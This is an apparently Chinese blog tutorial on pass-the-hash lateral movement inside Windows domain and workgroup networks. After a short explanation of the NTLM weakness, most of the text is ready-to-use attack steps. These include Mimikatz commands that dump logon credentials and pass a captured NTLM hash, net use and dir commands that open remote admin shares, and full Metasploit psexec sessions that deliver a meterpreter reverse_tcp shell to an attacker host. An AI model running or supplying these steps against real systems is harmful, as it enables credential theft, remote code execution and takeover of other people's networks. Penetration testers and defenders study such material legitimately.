内网渗透 - 哈希传递攻击

2022-11-02 15:22:50 浏览数 (1)

前言

在内网渗透过程中,当获取到某个管理员用户的密码 hash 值却无法解密时,可以通过哈希传递攻击(Pass The Hash)对内网其他机器进行横向渗透。

0x01 哈希传递攻击

哈希传递攻击(Pass The Hash)是基于 NTLM 认证缺陷的一种攻击方式,攻击者可以利用用户的密码哈希值来进行 NTLM 认证。在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码。如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击的手段登录到内网中的其他计算机。

通过哈希传递攻击,攻击者不需要花时间破解密码哈希值来获取明文密码。尤其是在 Windows Server 2012 R2 及之后的版本的操作系统中,默认在内存中不会记录明文密码,因此攻击者往往会使用工具将哈希值传递到其他计算机中进行权限验证,实现对其他远程计算机的控制。

  • 哈希传递攻击原理详解:https://www.4hou.com/posts/V0xO

工作组环境:

  • Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
  • Windows Vista 之后的机器,只能是 Administrator (SID为500)用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非Administrator)也不能使用哈希传递攻击,否则会提示拒绝访问。

域环境:

  • 只有域管理员组内用户(可以是域管理员组内非 Administrator 用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域环境内任何一台机器。
  • SID 为 500 的账号登录之后以完全管理特权(“完全令牌模式”)运行所有应用程序,管理员组的非 SID 500 账户登录之后是没有过 UAC 的,所有特权都被移除。在一些计算机中,SID为500的账号即使将默认 Administrator 账号改名,也不会影响SID的值。

0x02 Mimikatz

假设你获取到了一台域管理员组内用户登录过的一台机器,并且获取到了这台机器的本地管理员的权限,那么你就可以使用 Mimikatz 工具同时抓取到本地管理员以及域管理员组内用户的密码 NTLM Hash 值。

代码语言:javascript复制
# 执行 Mimikatz 命令抓取本地密码并保存结果到 Mimikatz.log 文件中
mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit
2.1 域环境

首先使用 Mimikatz 工具获取域管理员组内用户及密码 NTLM Hash 如下:

代码语言:javascript复制
域环境:LUCKYSEC.CN
域管理员组内用户:LUCKYSECadmins
域管理员组内用户NTLM hash值:518b98ad4178a53695dc997aa02d455c

由于 Mimikatz 需要管理员权限运行,所以前提需要获取域内任意一台机器的本地管理员权限运行 CMD,然后使用 Mimikatz 对目标机器(10.10.10.10)进行 hash 传递攻击:

代码语言:javascript复制
# hash传递攻击 Mimikatz 命令格式:
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:域 /ntlm:xxxxxx"
# 使用例子:
mimikatz "privilege::debug" "sekurlsa::pth /user:admins /domain:LUCKYSEC.CN /ntlm:518b98ad4178a53695dc997aa02d455c"

# 建立IPC$连接
net use \10.10.10.10
# 列出目标机器的C盘文件
dir \10.10.10.10c$    

执行成功后,会弹出一个新的CMD命令行窗口,在此窗口中即可与目标机器建立 IPC$ 连接成功。

有时候 dir 后面跟 IP 地址会提示用户名或密码错误,可以通过输入目标的主机名解决此问题:

代码语言:javascript复制
dir \AD-2016c$
2.2 工作组环境

首先使用 Mimikatz 工具获取域管理员组内用户及密码 NTLM Hash 如下:

代码语言:javascript复制
获取本地工作组管理员:Administrator
获取本地工作组管理员密码 NTLM Hash:518b98ad4178a53695dc997aa02d455c

假设目标机器(10.10.10.20)上同样存在 Administrator 密码与攻击者拿下的主机管理员密码相同,那么这两台机器的 NTLM hash 也是相同的,因此可以进行 hash 传递攻击。

代码语言:javascript复制
# hash传递攻击 Mimikatz 命令格式:
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:目标机器IP /ntlm:xxxxxx"

# 使用例子:
mimikatz "privilege::debug" "sekurlsa::pth /user:Administrator /domain:10.10.10.20 /ntlm:518b98ad4178a53695dc997aa02d455c"

# 建立IPC$连接
net use \10.10.10.20
# 列出目标机器的C盘文件
dir \10.10.10.20c$

0x03 MSF

首先是通过常规的反弹 shell 操作到msf上,通过 run post/windows/gather/hashdump 获取到 LM:NTLM hash 值

3.1 域环境

攻击前提条件:

代码语言:javascript复制
域环境:LUCKYSEC.CN
域管理员组内用户:admins
域管理员组内用户 LM:NTLM hash 值:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c

hash传递攻击:

代码语言:javascript复制
msf6 exploit(windows/smb/psexec) > use  exploit/windows/smb/psexec
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set lhost 10.10.10.2
lhost => 10.10.10.2
msf6 exploit(windows/smb/psexec) > set rhost 10.10.10.10
rhost => 10.10.10.10
msf6 exploit(windows/smb/psexec) > set smbuser admins
smbuser => admins
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
smbpass => aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
msf6 exploit(windows/smb/psexec) > exploit
3.2 工作组环境

攻击前提条件:

代码语言:javascript复制
获取本地工作组管理员:Administrator
获取本地工作组管理员密码 LM:NTLM hash 值:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c

hash 传递攻击:

代码语言:javascript复制
msf6 > use  exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set lhost 10.10.10.2
lhost => 10.10.10.2
msf6 exploit(windows/smb/psexec) > set rhost 10.10.10.20
rhost => 10.10.10.20
msf6 exploit(windows/smb/psexec) > set smbuser Administrator
smbuser => Administrator
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
smbpass => aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
msf6 exploit(windows/smb/psexec) > exploit

参考文章

  • https://mp.weixin.qq.com/s/T5tJ3GkeNKmyFXyW4CEr1A
  • https://cloud.tencent.com/developer/article/1937060
  • https://www.cnblogs.com/-qing-/p/11374136.html

0 人点赞